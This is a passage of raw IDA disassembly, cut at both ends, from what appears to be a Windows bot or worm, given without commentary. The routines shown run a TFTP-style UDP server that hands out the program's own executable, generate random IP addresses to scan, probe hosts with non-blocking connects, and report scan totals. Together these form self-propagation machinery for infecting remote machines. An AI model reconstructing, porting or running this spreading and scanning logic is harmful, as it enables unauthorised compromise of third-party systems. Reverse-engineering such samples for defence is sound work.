		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_44CD28	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_44CCF4	; recv
		pop	esi


loc_4059DD:				; CODE XREF: sub_405900+6Bj
		push	ebx
		call	dword_44CD70	; closesocket
		call	dword_44CC48	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_413812
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_405A1D
		push	edi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h


loc_405A1D:				; CODE XREF: sub_405900+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_405900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A21	proc near		; CODE XREF: sub_405A21:loc_405F0Cp
					; DATA XREF: sub_406059+107o ...

var_784		= dword	ptr -784h
var_780		= dword	ptr -780h
var_680		= byte ptr -680h
var_67F		= byte ptr -67Fh
var_67E		= byte ptr -67Eh
var_67D		= byte ptr -67Dh
var_67C		= byte ptr -67Ch
var_47C		= byte ptr -47Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 784h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_44CD58	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_405AE4
		push	190h
		call	dword_41F050	; Sleep
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_47C]
		push	offset unk_4259E0
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_405AC4
		push	ebx
		lea	eax, [ebp+var_47C]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40B2B5
		add	esp, 14h


loc_405AC4:				; CODE XREF: sub_405A21+7Ej
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_409833
		push	[ebp+var_170]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread


loc_405AE4:				; CODE XREF: sub_405A21+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 134h
		push	ebx
		mov	dword_452134[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_44CD08	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405B49
		push	1388h
		call	dword_41F050	; Sleep
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_405F0C
; ---------------------------------------------------------------------------


loc_405B49:				; CODE XREF: sub_405A21+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_414F8F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_405BC7
		push	190h
		call	dword_41F050	; Sleep
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_47C]
		push	offset unk_4259A8
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_47C]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40B2B5
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_409833
		push	[ebp+var_170]
		call	sub_4135DA
		add	esp, 28h
		push	ebx
		call	dword_41F040	; ExitThread


loc_405BC7:				; CODE XREF: sub_405A21+140j
		mov	esi, 200h


loc_405BCC:				; CODE XREF: sub_405A21+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_405ECC
		mov	[ebp+var_780], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_784], 1
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_784]
		push	ebx
		push	eax
		push	ebx
		call	dword_44CCC4	; select
		test	eax, eax
		jle	loc_405EC0
		mov	al, byte_438A10
		mov	ecx, edi
		mov	[ebp+var_680], al
		xor	eax, eax
		lea	edi, [ebp+var_67F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_44CCB4	; recvfrom
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_413812
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_405EAA
		cmp	[ebp+var_D7], 1
		jnz	loc_405DF6
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_413E90
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_413E90
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_4152D0
		add	esp, 14h
		test	eax, eax
		jnz	loc_405DB0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_413E90
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_4152D0
		add	esp, 10h
		test	eax, eax
		jnz	loc_405DB0
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_41523E
		push	[ebp+var_8]
		lea	eax, [ebp+var_67C]
		mov	[ebp+var_680], bl
		mov	[ebp+var_67F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_67E], bl
		mov	[ebp+var_67D], 1
		call	sub_414E87
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_680]
		push	eax
		push	edi
		call	dword_44CD3C	; sendto
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_425960


loc_405D64:				; CODE XREF: sub_405A21+484j
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_413812
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_405D9E
		push	ebx
		lea	eax, [ebp+var_47C]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40B2B5
		add	esp, 14h


loc_405D9E:				; CODE XREF: sub_405A21+358j
		lea	eax, [ebp+var_47C]
		push	eax
		call	sub_409833
		pop	ecx
		jmp	loc_405EC0
; ---------------------------------------------------------------------------


loc_405DB0:				; CODE XREF: sub_405A21+2B6j
					; sub_405A21+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42594C
		push	edi
		call	dword_44CD3C	; sendto
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_425914
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_409833
		add	esp, 14h
		jmp	loc_405EC0
; ---------------------------------------------------------------------------


loc_405DF6:				; CODE XREF: sub_405A21+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_405EAA
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_680], bl
		mov	[ebp+var_67F], 3
		jnz	short loc_405E33
		inc	al
		xor	cl, cl
		mov	[ebp+var_67E], al
		mov	[ebp+var_67D], bl
		jmp	short loc_405E41
; ---------------------------------------------------------------------------


loc_405E33:				; CODE XREF: sub_405A21+3FEj
		inc	cl
		mov	[ebp+var_67E], al
		mov	[ebp+var_67D], cl


loc_405E41:				; CODE XREF: sub_405A21+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_41523E
		push	[ebp+var_8]
		lea	eax, [ebp+var_67C]
		push	esi
		push	1
		push	eax
		call	sub_414E87
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_680]
		push	eax
		push	[ebp+var_10]
		call	dword_44CD3C	; sendto
		cmp	edi, ebx
		jnz	short loc_405EC0
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_4258BC
		jmp	loc_405D64
; ---------------------------------------------------------------------------


loc_405EAA:				; CODE XREF: sub_405A21+268j
					; sub_405A21+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_4258B0
		push	edi
		call	dword_44CD3C	; sendto


loc_405EC0:				; CODE XREF: sub_405A21+204j
					; sub_405A21+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_405BCC


loc_405ECC:				; CODE XREF: sub_405A21+1B4j
		push	edi
		call	dword_44CD70	; closesocket
		push	[ebp+var_8]
		call	sub_414E31
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_405F00
		push	[ebp+var_170]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread


loc_405F00:				; CODE XREF: sub_405A21+4CAj
		push	3E8h
		call	dword_41F050	; Sleep
		push	esi


loc_405F0C:				; CODE XREF: sub_405A21+123j
		call	sub_405A21
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405A21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F18	proc near		; CODE XREF: sub_40CC09+5314p

var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		push	edi
		lea	eax, [ebp+var_100]
		push	offset unk_425DB0
		push	eax
		xor	ebx, ebx
		call	sub_413812
		cmp	dword_425A58, ebx
		pop	ecx
		pop	ecx
		mov	edi, 0FFh
		jz	short loc_405F86
		push	esi
		mov	esi, offset dword_425A60


loc_405F4B:				; CODE XREF: sub_405F18+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_200]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_415310
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_405F4B
		pop	esi


loc_405F86:				; CODE XREF: sub_405F18+2Bj
		push	dword_741F68
		call	sub_4092A2
		push	eax
		push	ebx
		lea	eax, [ebp+var_200]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_415310
		push	0
		lea	eax, [ebp+var_100]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_409833
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_405F18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FE2	proc near		; CODE XREF: sub_40CC09+4C6Fp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	8
		call	sub_413506
		test	eax, eax
		pop	ecx
		jle	short loc_40601E
		mov	eax, [ebp+arg_C]
		push	dword_438A20[eax*8]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_100]
		push	offset unk_425E18
		push	eax
		call	sub_413812
		add	esp, 0Ch
		jmp	short loc_406031
; ---------------------------------------------------------------------------


loc_40601E:				; CODE XREF: sub_405FE2+13j
		lea	eax, [ebp+var_100]
		push	offset unk_425DE4
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx


loc_406031:				; CODE XREF: sub_405FE2+3Aj
		push	0
		lea	eax, [ebp+var_100]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_409833
		add	esp, 18h
		leave
		retn
sub_405FE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406059	proc near		; CODE XREF: sub_406782+4Fp

var_110		= dword	ptr -110h
var_104		= byte ptr -104h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4063E9
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_425A64[eax], ebx
		jz	loc_4062CA
		push	4
		call	sub_413506
		test	eax, eax
		pop	ecx
		jnz	loc_4063E9
		mov	eax, dword_42A320
		push	edi
		mov	edi, offset dword_44C2BC
		push	104h
		push	edi
		push	ebx
		mov	dword_44C4CC, eax
		mov	dword_44C4C8, ebx
		call	dword_41F060	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_44C3C0
		push	offset byte_42A390
		push	esi
		call	sub_415140
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_44C2B8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_44C550, eax
		jnz	short loc_40610C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_44C4D0
		call	sub_415140
		add	esp, 0Ch
		mov	dword_44C554, 1
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_40610C:				; CODE XREF: sub_406059+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_44C4D0
		call	sub_415140
		add	esp, 0Ch
		mov	dword_44C554, ebx


loc_406126:				; CODE XREF: sub_406059+B1j
		push	esi
		push	edi
		push	dword_44C4CC
		lea	eax, [ebp+var_104]
		push	offset unk_425FAC
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_104]
		push	4
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	dword_44C4C4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_44C2B8
		push	offset sub_405A21
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, dword_44C4C4
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_406195


loc_406183:				; CODE XREF: sub_406059+13Aj
		cmp	dword_44C558, ebx
		jnz	short loc_4061B0
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_406183
; ---------------------------------------------------------------------------


loc_406195:				; CODE XREF: sub_406059+128j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_104]
		push	offset unk_425F68
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_4061B0:				; CODE XREF: sub_406059+130j
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_409833
		mov	edi, offset dword_44C914
		mov	[esp+110h+var_110], 104h
		push	edi
		push	ebx
		mov	dword_44CB20, ebx
		call	dword_41F060	; GetModuleFileNameA
		push	103h
		mov	esi, offset dword_44CA18
		push	offset byte_42A390
		push	esi
		call	sub_415140
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_44C910, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_44CBA8, eax
		jnz	short loc_40622B
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_44CB28
		call	sub_415140
		add	esp, 0Ch
		mov	dword_44CBAC, 1
		jmp	short loc_406245
; ---------------------------------------------------------------------------


loc_40622B:				; CODE XREF: sub_406059+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_44CB28
		call	sub_415140
		add	esp, 0Ch
		mov	dword_44CBAC, ebx


loc_406245:				; CODE XREF: sub_406059+1D0j
		push	esi
		push	edi
		push	dword_44CB24
		lea	eax, [ebp+var_104]
		push	offset unk_425F18
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_104]
		push	5
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	dword_44CB1C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_44C910
		push	offset sub_4041D7
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, dword_44CB1C
		pop	edi
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4062B9


loc_4062A3:				; CODE XREF: sub_406059+25Ej
		cmp	dword_44CBB0, ebx
		jnz	loc_4063DC
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_4062A3
; ---------------------------------------------------------------------------


loc_4062B9:				; CODE XREF: sub_406059+248j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_425ED8
		jmp	loc_4063CD
; ---------------------------------------------------------------------------


loc_4062CA:				; CODE XREF: sub_406059+25j
		cmp	dword_425A68[eax], ebx
		jz	loc_4063E9
		push	3
		call	sub_413506
		test	eax, eax
		pop	ecx
		jnz	loc_4063E9
		mov	esi, offset dword_44C7EC
		push	104h
		push	esi
		push	ebx
		call	dword_41F060	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_415440
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_406308
		mov	[eax], bl


loc_406308:				; CODE XREF: sub_406059+2ABj
		mov	eax, dword_42A324
		mov	dword_44C904, ebx
		mov	dword_44C8F0, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_44C564
		call	sub_413812
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_44C560, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_44C8F0
		mov	dword_44C8FC, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_44C900, ecx
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_104]
		push	offset unk_425E8C
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_104]
		push	3
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	dword_44C8F8, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_44C560
		push	offset sub_4048F1
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, dword_44C8F8
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4063C1


loc_4063AF:				; CODE XREF: sub_406059+366j
		cmp	dword_44C90C, ebx
		jnz	short loc_4063DC
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_4063AF
; ---------------------------------------------------------------------------


loc_4063C1:				; CODE XREF: sub_406059+354j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_425E48


loc_4063CD:				; CODE XREF: sub_406059+26Cj
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_4063DC:				; CODE XREF: sub_406059+250j
					; sub_406059+35Cj
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_409833
		pop	ecx


loc_4063E9:				; CODE XREF: sub_406059+14j
					; sub_406059+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_406059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063ED	proc near		; CODE XREF: sub_40656E:loc_4065DFp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:438A20h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_44CC20	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_44CCD8	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_4138F0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4063ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406435	proc near		; CODE XREF: sub_40656E+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_413E90
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40645D
		xor	eax, eax
		jmp	short loc_4064CE
; ---------------------------------------------------------------------------


loc_40645D:				; CODE XREF: sub_406435+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_414D21
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40648A
		call	sub_41386E
		mov	[ebp+var_C], eax


loc_40648A:				; CODE XREF: sub_406435+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_406497
		call	sub_41386E
		mov	[ebp+var_8], eax


loc_406497:				; CODE XREF: sub_406435+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_4064A4
		call	sub_41386E
		mov	[ebp+var_4], eax


loc_4064A4:				; CODE XREF: sub_406435+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4064B0
		call	sub_41386E


loc_4064B0:				; CODE XREF: sub_406435+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_438A20[ecx*8], eax


loc_4064CE:				; CODE XREF: sub_406435+26j
		pop	esi
		leave
		retn
sub_406435	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064D1	proc near		; CODE XREF: sub_40656E+B8p
					; sub_40ADCF+35Dp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_44CD58	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4064FA
		xor	eax, eax
		jmp	short loc_406569
; ---------------------------------------------------------------------------


loc_4064FA:				; CODE XREF: sub_4064D1+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_44CD74	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_44CC88	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_44CCC4	; select
		push	esi
		mov	edi, eax
		call	dword_44CD70	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_406569:				; CODE XREF: sub_4064D1+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4064D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40656E	proc near		; DATA XREF: sub_406782+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_41F044	; GetTickCount
		push	eax
		call	sub_413864
		mov	ebx, esi
		pop	ecx
		imul	ebx, 134h


loc_4065B5:				; CODE XREF: sub_40656E+200j
		mov	eax, dword_45212C[ebx]
		cmp	dword_438A24[eax*8], 0
		jz	loc_406773
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4065DF
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_406435
		pop	ecx
		jmp	short loc_4065E4
; ---------------------------------------------------------------------------


loc_4065DF:				; CODE XREF: sub_40656E+60j
		call	sub_4063ED


loc_4065E4:				; CODE XREF: sub_40656E+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_45212C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_426044
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_452028[ebx]
		push	eax
		call	sub_413812
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4064D1
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_406763
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4066B8
		push	offset dword_44C2A0
		call	dword_41F09C	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_44CD64	; inet_ntoa
		push	eax
